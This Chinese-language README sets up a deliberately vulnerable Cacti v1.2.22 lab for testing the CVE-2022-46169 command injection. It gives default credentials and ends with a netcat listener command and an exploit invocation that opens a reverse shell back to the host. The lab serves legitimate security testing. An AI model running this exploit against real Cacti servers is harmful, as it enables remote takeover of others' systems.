Cacti v1.2.22 命令注入 (CVE-2022-46169) 漏洞应用

这是一个用于测试 Cacti 漏洞（CVE-2022-46169）利用的易受攻击应用。

警告！

此应用包含严重的安全漏洞。运行风险自负！建议在备份且隔离的环境（如已创建近期快照并仅使用主机网络模式的虚拟机）中运行。请勿将此应用部署到任何面向互联网的服务器，否则它们将被攻破。

免责声明：本人对任何人使用此应用的方式概不负责。此应用的唯一用途是作为 CVE-2022-46169 漏洞利用的测试场景，不得恶意使用。如果您的服务器因安装此应用而被攻破，责任不在于我，而在于上传并安装它的人员。

以下是搭建环境的步骤：

运行 docker compose up -d 启动容器组。
通过访问 http://127.0.0.1/cacti 来完成初始步骤，启动 Cacti 初始化向导。如果遇到数据库相关错误，请稍等片刻后刷新页面。
默认凭据为 admin/admin。
在向导过程中对所有按钮选择“下一步”，并根据提示选项操作。所有默认选项均可接受，且所有必要前提条件都应满足。
安装完成后，您需要设置一个新图表：
1. 点击 “创建图表”。
2. 在“图表模板”部分，靠近“创建”的下拉菜单中选择：“设备 - 正常运行时间”。
3. 按下“创建”按钮。

容器将命名为 vuln-cacti。

拆除环境请使用 docker compose down 命令。

Cacti 官方安装指南可在此处找到这里。

漏洞的详细根本原因可见这里。

公开的漏洞利用可在 Exploit-DB 获取。为方便起见，已复制到 exploit/ 目录下。

运行方法：

在宿主机上使用 netcat 监听传入连接。
```
nc -lvp 6669
```
运行漏洞利用脚本。
```
 ./exploit/exploit.py -u http://127.0.0.1/cacti/ -i host.docker.internal -p 6669
```
提示：host.docker.internal 用于从容器访问宿主机（参考）。

vulhub 仓库中也包含该漏洞的条目。

本项目采用 Unlicense 许可证 - 详见 LICENSE 文件。